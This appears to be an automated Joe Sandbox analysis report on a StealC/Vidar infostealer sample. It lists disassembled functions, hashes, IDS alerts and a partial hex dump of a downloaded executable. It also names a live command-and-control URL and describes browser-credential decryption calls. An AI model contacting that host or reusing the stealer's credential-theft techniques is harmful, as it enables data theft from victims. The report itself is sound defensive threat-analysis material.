Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a834417d0d6d2db73a1f3e81fccc494136a8d0c92f478f6814e863ba059c66f5
Instruction ID: 433a1f7de1c929b986bbe4c9a41860030108e684c1ec15f4ef9f70b32f24a688
Opcode Fuzzy Hash: a834417d0d6d2db73a1f3e81fccc494136a8d0c92f478f6814e863ba059c66f5
Instruction Fuzzy Hash: 5F516774600646CFD711CF18C288A5ABBF1BF4A318F18C99AD8596BB52C335EC45CF91

Function 6C86BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C86BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C86BE8F

Strings

0, xrefs: 6C86BE5B

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 9f69e012b891fd3aba6bf457475f6ed87f321afe6cacfa5b25073027032fcd60
Instruction ID: fcd0bea2689a7e6afc2cf8785cd6ef0f01e7304e600580045dd6cd8f7702dd91
Opcode Fuzzy Hash: 9f69e012b891fd3aba6bf457475f6ed87f321afe6cacfa5b25073027032fcd60
Instruction Fuzzy Hash: 8741A271909749CFC721CF29C581AABB7E4AF8A348F004E2DF9855BA11D730D9559B82

Function 6C9D4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9D4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C9D4DE6

Strings

%d.%d, xrefs: 6C9D4DDE

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 4b249f1746ec1db3907d921830720dab1a8b86dbc42ead19cf34d85a734baf5c
Instruction ID: 69e460e439a1bf683be7afd9255a579d82b887bec0f980d1b3545a3f9f57b4d1
Opcode Fuzzy Hash: 4b249f1746ec1db3907d921830720dab1a8b86dbc42ead19cf34d85a734baf5c
Instruction Fuzzy Hash: 3F31E5B2D002186AEB109FA49C01BFF766CEF50308F064469ED05BB681EB31E949CBA1

Function 6C8A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C8A3D6C

Strings

d, xrefs: 6C8A3D58

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 3c233c114e35829c7392649e400d996414a8e4af295fd9d19cdfaba8e1216f55
Instruction ID: 43f8de4037e80595fdf424d0404f6dbc86fff64d733f2fea2287785578860310
Opcode Fuzzy Hash: 3c233c114e35829c7392649e400d996414a8e4af295fd9d19cdfaba8e1216f55
Instruction Fuzzy Hash: 01110431E04788D7DB208BEDC9144EDB775EF8A219B448A2DEC45AB612FB30E985C790

Function 6CA1AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CA1AF78

Part of subcall function 6C97ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C97ACE2
Part of subcall function 6C97ACC0: malloc.MOZGLUE(00000001), ref: 6C97ACEC
Part of subcall function 6C97ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C97AD02
Part of subcall function 6C97ACC0: TlsGetValue.KERNEL32 ref: 6C97AD3C
Part of subcall function 6C97ACC0: calloc.MOZGLUE(00000001,?), ref: 6C97AD8C
Part of subcall function 6C97ACC0: PR_Unlock.NSS3 ref: 6C97ADC0
Part of subcall function 6C97ACC0: PR_Unlock.NSS3 ref: 6C97AE8C
Part of subcall function 6C97ACC0: free.MOZGLUE(?), ref: 6C97AEAB

memcpy.VCRUNTIME140(6CAE3084,6CAE02AC,00000090), ref: 6CA1AF94

Strings

SSL, xrefs: 6CA1AF73

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: b43ff4bb9cdc13afcfaf3624e295fd20ebe59eeace9c46ccd35f790ae2176614
Instruction ID: 1c5b06f0754eef91fec9224aea4ad154f47fe8715050b0234d0d3c3eebbb1f7b
Opcode Fuzzy Hash: b43ff4bb9cdc13afcfaf3624e295fd20ebe59eeace9c46ccd35f790ae2176614
Instruction Fuzzy Hash: 8C214DF620BB4A9E8B88DF5AB5033227AB5B34E358710D258C1990BF34D7314586BFD5

Function 6C8C6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C8C6E22
__Init_thread_footer.LIBCMT ref: 6C8C6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C8C6E1D

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: db9f64f2a1b36d6dcdadc6d6287e4c0ef8b923c836084eff6079a63cd6ab5419
Instruction ID: 20656a3fb4221829e8c77a93d1836871ee584834611c0cb613d69bf8432f361a
Opcode Fuzzy Hash: db9f64f2a1b36d6dcdadc6d6287e4c0ef8b923c836084eff6079a63cd6ab5419
Instruction Fuzzy Hash: AEF024347062409BDA308B6CEB50AA1377157AB21CF140976C40446B71C720ED06DBD3

Function 6C970F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F1B

Part of subcall function 6C971370: GetSystemInfo.KERNEL32(?,?,?,?,6C970936,?,6C970F20,6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000), ref: 6C97138F

PR_NewLogModule.NSS3(clock,6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F25

Part of subcall function 6C971110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C970936,00000001,00000040), ref: 6C971130
Part of subcall function 6C971110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C970936,00000001,00000040), ref: 6C971142
Part of subcall function 6C971110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C970936,00000001), ref: 6C971167

Strings

clock, xrefs: 6C970F20

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 6bbfd3e6c876e1901aa1f2739f7328e4e541a23c6bce5b853797745ea8ee8118
Instruction ID: 38e7a8ab2f2c7ed893e6d732fbea259a6fdc29f1bd73d9e94681f4795d1dbda6
Opcode Fuzzy Hash: 6bbfd3e6c876e1901aa1f2739f7328e4e541a23c6bce5b853797745ea8ee8118
Instruction Fuzzy Hash: C6D0223120124957C320AA979C88FA6B3ACD7E3379F108822E00C01D400A34C4DBE3B5

Function 004136EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

18A, xrefs: 00413792

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: 18A
API String ID: 3840410801-3433864008
Opcode ID: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction ID: 37f096532bd63c7a6543046c1d18d9a97d222ba567e71f558b3b71d2575676c5
Opcode Fuzzy Hash: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction Fuzzy Hash: 26D05BB150410D5BCB20EF54EE589EE7339AF54355F0041C9F40E97150EB349B85CF95

Function 6C8BB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C8BB2C9,?,?,?,6C8BB127,?,?,?,?,?,?,?,?,?,6C8BAE52), ref: 6C8BB628

Part of subcall function 6C8B90E0: free.MOZGLUE(?,00000000,?,?,6C8BDEDB), ref: 6C8B90FF
Part of subcall function 6C8B90E0: free.MOZGLUE(?,00000000,?,?,6C8BDEDB), ref: 6C8B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C8BB2C9,?,?,?,6C8BB127,?,?,?,?,?,?,?,?,?,6C8BAE52), ref: 6C8BB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C8BB2C9,?,?,?,6C8BB127,?,?,?,?,?,?,?,?,?,6C8BAE52), ref: 6C8BB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C8BB127,?,?,?,?,?,?,?,?), ref: 6C8BB74D

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9b050c0d1515b0a9fc18bea00430b7c877146c9fd68d8e669c2d40fbc8d76cbd
Instruction ID: 639a3d591b69fd1c8ee251ade9436c1d11925ed550069859e48161b04d0a0ab8
Opcode Fuzzy Hash: 9b050c0d1515b0a9fc18bea00430b7c877146c9fd68d8e669c2d40fbc8d76cbd
Instruction Fuzzy Hash: 2551BCB1A052168FDB24CF58CAC066EB7B5FF86304F558969C85ABB710DB31EC04CBA5

Function 6C8CB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C870A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8CB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C870A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8CB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C870A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8CB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6C870A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8CB67F

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 83b2b6cf31bc47931fa5925bd6dca8905f1cf2266abf8a7b715dda9151947181
Instruction ID: 30673ba704fd4a3df6832252ed1a75f011b453b0969d58365eb00318316d37d8
Opcode Fuzzy Hash: 83b2b6cf31bc47931fa5925bd6dca8905f1cf2266abf8a7b715dda9151947181
Instruction Fuzzy Hash: CC31D471E016168FDB20DF58C984A6ABBB5FF85314F168969C8069B201DB31ED15CBE2

Function 6C9E0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C9E0DF5
TlsGetValue.KERNEL32 ref: 6C9E0E2D
TlsGetValue.KERNEL32 ref: 6C9E0E58
TlsGetValue.KERNEL32 ref: 6C9E0E84

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: f81011c78074b93b0373d88ed6fbbc50a4dc55d403e665aa19ca561a1d217845
Instruction ID: e5c3beb0bf9c5099a3a0dba4024771c0373eda29ac955002ab4d628a4707e6e1
Opcode Fuzzy Hash: f81011c78074b93b0373d88ed6fbbc50a4dc55d403e665aa19ca561a1d217845
Instruction Fuzzy Hash: 583106B06053868BDB15AF7CC84526977B8BF2D308F51A67DD888C7A21EF34D486DB81

Function 6C89F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C89F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C89F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C89F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C89F668

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 18e808aa5b2aaae631bfb9990fed26aa5371c10a3690c1c69802da85dfec4c93
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 79314F71A00214AFC728CF5DCDC0A9B77B5EBD4354B148939FA4A8BB05D671F9448B90

Function 6C9E0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C982AF5,?,?,?,?,?,6C980A1B,00000000), ref: 6C9E0F1A
malloc.MOZGLUE(00000001), ref: 6C9E0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C9E0F42
TlsGetValue.KERNEL32 ref: 6C9E0F5B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 0c90c036812b3f97fc1475a223fb5169de8facd238d04484987f57655dce4a03
Instruction ID: d821e3885eac2862d3e2625edb2d92632c8ccf6a2e5c7c301bd9bd68cc6988cc
Opcode Fuzzy Hash: 0c90c036812b3f97fc1475a223fb5169de8facd238d04484987f57655dce4a03
Instruction Fuzzy Hash: E2014CB1E103815BE7112B3E9D055667BACEF6A259F045531ED0CC2A21EF31D879D2E2

Source: 0.2.file.exe.3985570.0.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://147.45.47.253/072aacac8f68fd5f.php", "Botnet": "LogsDillerCloud"}
Source: 0.2.file.exe.3985570.0.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://147.45.47.253/072aacac8f68fd5f.php", "Botnet": "LogsDillerCloud"}

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	2_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C876C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6C876C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 147.45.47.253:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49710 -> 147.45.47.253:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 147.45.47.253:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49710 -> 147.45.47.253:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.47.253:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49710 -> 147.45.47.253:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.6:49710 -> 147.45.47.253:80

Source: Malware configuration extractor	URLs: http://147.45.47.253/072aacac8f68fd5f.php
Source: Malware configuration extractor	URLs: http://147.45.47.253/072aacac8f68fd5f.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 18:12:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 20:30:30 GMTETag: "10e436-5e7f3f3636580"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 